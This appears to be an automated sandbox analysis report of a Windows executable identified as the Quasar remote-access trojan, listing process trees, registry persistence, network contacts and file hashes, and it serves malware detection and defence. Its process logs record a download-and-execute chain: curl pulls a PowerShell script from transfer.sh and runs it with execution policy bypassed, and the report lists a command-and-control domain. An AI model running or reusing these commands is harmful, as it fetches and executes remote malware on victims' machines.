Analysis Overview
SHA256
3459ebc48502fb42337647d456681337d303e50a99ca536e010d7cf1ebf6f0f5
Threat Level: Known bad
The file {437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe was found to be: Known bad.
Malicious Activity Summary
Quasar payload
Quasar RAT
Checks computer location settings
Looks up external IP address via web service
Adds Run key to start application
Suspicious use of SetThreadContext
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-17 08:11
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-17 08:11
Reported
2023-01-17 08:13
Platform
win7-20221111-en
Max time kernel
44s
Max time network
33s
Command Line
Signatures
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"
C:\Windows\system32\cmd.exe
cmd /c new.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
Network
Files
memory/2024-54-0x000007FEFC2D1000-0x000007FEFC2D3000-memory.dmp
memory/1788-55-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs
| MD5 | f7e7099eea0cc25fc49d04cd53c573a1 |
| SHA1 | 3abac9f3f93b0f87ef432d70c40e8ab865157770 |
| SHA256 | b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be |
| SHA512 | c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074 |
memory/668-84-0x0000000000000000-mapping.dmp
memory/1384-89-0x0000000000000000-mapping.dmp
memory/540-90-0x0000000000000000-mapping.dmp
memory/1128-91-0x0000000000000000-mapping.dmp
memory/1604-92-0x0000000000000000-mapping.dmp
memory/620-93-0x0000000000000000-mapping.dmp
memory/620-95-0x000007FEF3DB0000-0x000007FEF47D3000-memory.dmp
memory/620-96-0x000007FEF2750000-0x000007FEF32AD000-memory.dmp
memory/620-97-0x0000000002544000-0x0000000002547000-memory.dmp
memory/620-98-0x000000001B710000-0x000000001BA0F000-memory.dmp
memory/620-99-0x0000000002544000-0x0000000002547000-memory.dmp
memory/620-100-0x000000000254B000-0x000000000256A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-17 08:11
Reported
2023-01-17 08:13
Platform
win10v2004-20221111-en
Max time kernel
133s
Max time network
151s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation | C:\Windows\SYSTEM32\cmd.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce | C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" | C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 444 set thread context of 3140 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000_Classes\Local Settings | C:\Windows\SYSTEM32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe
"C:\Users\Admin\AppData\Local\Temp\{437AE0B7-6837-41A9-9B2C-9199409B23EF}.exe"
C:\Windows\SYSTEM32\cmd.exe
cmd /c new.vbs
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\curl.exe
curl https://transfer.sh/get/MHXbtP/ss.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 72.21.91.29:80 | tcp | |
| N/A | 8.8.8.8:53 | transfer.sh | udp |
| N/A | 144.76.136.153:443 | transfer.sh | tcp |
| N/A | 104.80.225.205:443 | tcp | |
| N/A | 40.79.189.59:443 | tcp | |
| N/A | 8.8.8.8:53 | ghcc.duckdns.org | udp |
| N/A | 95.216.102.32:4782 | ghcc.duckdns.org | tcp |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 93.184.221.240:80 | tcp | |
| N/A | 95.216.102.32:4782 | ghcc.duckdns.org | tcp |
| N/A | 8.8.8.8:53 | tools.keycdn.com | udp |
| N/A | 185.172.148.96:443 | tools.keycdn.com | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 64.185.227.155:443 | api.ipify.org | tcp |
Files
memory/4604-132-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\new.vbs
| MD5 | f7e7099eea0cc25fc49d04cd53c573a1 |
| SHA1 | 3abac9f3f93b0f87ef432d70c40e8ab865157770 |
| SHA256 | b7f331e83a80b15cc4537324bde827ac9b2ecb990150db4d00d84ee2560cf5be |
| SHA512 | c19ddc5e41ed6d485f5df47996f34ff326a782e909bffaa8aa31a3f72fddb33cc7e3709e0cc44b2078668dc83297b42bb3157d6d000a9323ffca6303cd43f074 |
memory/3340-134-0x0000000000000000-mapping.dmp
memory/4280-135-0x0000000000000000-mapping.dmp
memory/1548-136-0x0000000000000000-mapping.dmp
memory/796-137-0x0000000000000000-mapping.dmp
memory/4264-138-0x0000000000000000-mapping.dmp
memory/3424-139-0x0000000000000000-mapping.dmp
memory/444-140-0x0000000000000000-mapping.dmp
memory/444-141-0x000002B3F3A30000-0x000002B3F3A52000-memory.dmp
C:\Users\Admin\AppData\Roaming\rr.ps1
| MD5 | 970aca768e68faa580f758a1a379686b |
| SHA1 | 6a93921485cbd83382eb5a47315b1f0a67bcf684 |
| SHA256 | 6c1e62385d660ca43e024d461154fbb4805e429cdf7850d19510d7f69533739e |
| SHA512 | 66dd4c5b17978e68c8e0cd2bc4fd35ba5d519447ff34259ec77d11e4253cbfc9955a43915ed3c343f41dc04d97f4302ab6922a823b0e0da44e8893d29ec7cf0f |
memory/444-143-0x00007FF8A6AB0000-0x00007FF8A7571000-memory.dmp
memory/3140-144-0x0000000000400000-0x0000000000484000-memory.dmp
memory/3140-145-0x000000000047E74E-mapping.dmp
memory/444-146-0x00007FF8A6AB0000-0x00007FF8A7571000-memory.dmp
memory/3140-147-0x0000000005A90000-0x0000000006034000-memory.dmp
memory/3140-148-0x00000000054E0000-0x0000000005572000-memory.dmp
memory/3140-149-0x0000000005450000-0x000000000545A000-memory.dmp
memory/3140-150-0x0000000006660000-0x0000000006C78000-memory.dmp
memory/3140-151-0x0000000006090000-0x00000000060E0000-memory.dmp
memory/3140-152-0x0000000006300000-0x00000000063B2000-memory.dmp
memory/3140-153-0x0000000007CE0000-0x0000000007D46000-memory.dmp